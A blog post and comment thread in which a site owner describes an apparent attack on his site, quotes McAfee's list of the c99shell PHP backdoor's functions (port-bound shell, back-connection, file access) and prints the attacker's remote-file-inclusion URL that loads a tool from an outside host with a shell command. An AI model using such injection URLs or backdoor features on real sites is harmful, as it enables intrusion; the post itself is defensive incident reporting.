Caught a hacker with hands in the cookie jar

About: McAfee Computer Anti-Virus Software and Internet Security For Your PC

guest-1549 is attempting to infect our couputer. Going to the address quoted in his access yielded a macafe response from my computer. Note the fllowing we discover about this trojan from McaFee:

Remote Access Functionality

The server component offers many functions to the hacker who can use a normal browser as a backdoor client. Provided example shows the remote functionality provided by one such backdoor PHP script called "c99shell":

It is a remote file-manager that works through browser
Can be updated remotely
Has file-searching capabilities
Can access files via FTP and Samba
Can upload and download files and folders
Can bind /bin/bash to any port with a password
Can modify timestamp and access-time for any disk object
Can execute any PHP code
Can apply sha1, md5, crc32, base64 to files
Has built-in operations with databases (list, sort, group operations)
Can perform back connection to any IP address on a given port
Can send improvement suggestins to the author via mail()
Supports SQL
Has self-removal function

I doubt that the infection was successful ... but am still investigating.

One thing about chat-who-is-here is that it allows us to be aware of the mischief that is happening to our site.

Comments

Seth says

Mark 2006-01-14 08:55:44 2522

Are you saying that the from links in the chat might be dangerous ?

I don't know ...

when you click on his to: link http://fastblogit.com/?offset=http://mpc.itunisie.com/tool25.php?&cmd=cat%20bugado you get the following message from our server

source:

You have an error in your SQL syntax near 'http://mpc.itunisie.com/tool25.php?, 4 ' at line 2

which indicates that his attempt was not successful and ended in a sql error.

However if you isolate his tool (http://mpc.itunisie.com/tool25.php) and access it directly in your browser like i did, and perhaps if you have php installed on your local, which i dont, it seems to fire a MacFee virus event that is documented in the about.

Perhaps someone more versed in malicious hacking will shed some light on this.

Seth says
guest-1582 is also trying something pretty malicious. He is trying to hack in through the stats program.

Animator vs virus says
hey look for this on tags look for virus on the tags and on the bottom it will say virus 1 so click that

jay-rock5 says
wats up i'm just seeing who on line

jay-rock5 says
wats up i want 2 c who's on line

Seth says

jay-rock5 2007-02-21 18:04:57 2522

wats up i want 2 c who's on line

too bad, you can't. Get rid of all the hackers and opportunists on the net and i will surley put chat back online and show you who is watching fastblogit in real time.

jay-rock5 says
r u a girl seth

Seth says

jay-rock5 2007-02-21 18:10:14 2522

r u a girl seth

too bad, ja-rock, i'm a boy

jay-rock5 says
were is all da females

Caught a hacker with hands in the cookie jar

About: McAfee Computer Anti-Virus Software and Internet Security For Your PC

Tags

Comments

See Also